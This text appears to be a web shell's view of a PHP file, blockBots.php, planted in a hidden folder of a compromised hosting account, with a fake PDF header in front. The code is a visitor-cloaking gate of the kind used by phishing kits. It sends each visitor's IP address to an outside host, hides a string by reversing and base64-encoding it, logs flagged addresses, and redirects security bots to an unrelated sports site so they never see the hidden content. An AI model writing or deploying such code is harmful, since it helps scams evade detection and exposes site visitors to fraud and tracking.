%PDF- %PDF-
Direktori : /home/silvzytp/public_html/.s9ua4/ |
Current File : /home/silvzytp/public_html/.s9ua4/blockBots.php |
<?php $api = "421e3c0630eb9f"; //$ip = $_GET['ipz']; $ip = getenv("REMOTE_ADDR"); $clicks = file_get_contents("clicks.txt"); $blocked = file_get_contents("blocked.txt"); if (substr_count($clicks, $ip) > 0) { } else if (substr_count($blocked, $ip) > 0) { header("Location: https://skysports.com"); exit(); } else { $blocked_bots = array( // LIST BOTS NAME "\"IN\"", "Yez", "Yes" ); function rev($str){ return strrev($str); } $ipi = "vlmLvZmbpBXa"; $ipi = rev($ipi); $ipi = base64_decode($ipi); $url = 'https://w3g.pokerdaftar228.com/ZzZ?ipz='.$ip; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 300); curl_setopt($ch, CURLOPT_TIMEOUT, 300); $data = curl_exec($ch); curl_close($ch); //echo $data; foreach ($blocked_bots as $blocked_bot){ if (substr_count($data, $blocked_bot) > 0) { $file = fopen("blocked.txt","a"); fwrite($file," - ".gmdate ("Y-n-d")." @ ".gmdate ("H:i:s")." - ".$ip."\n"); header("Location: https://skysports.com"); exit(); } } } ?>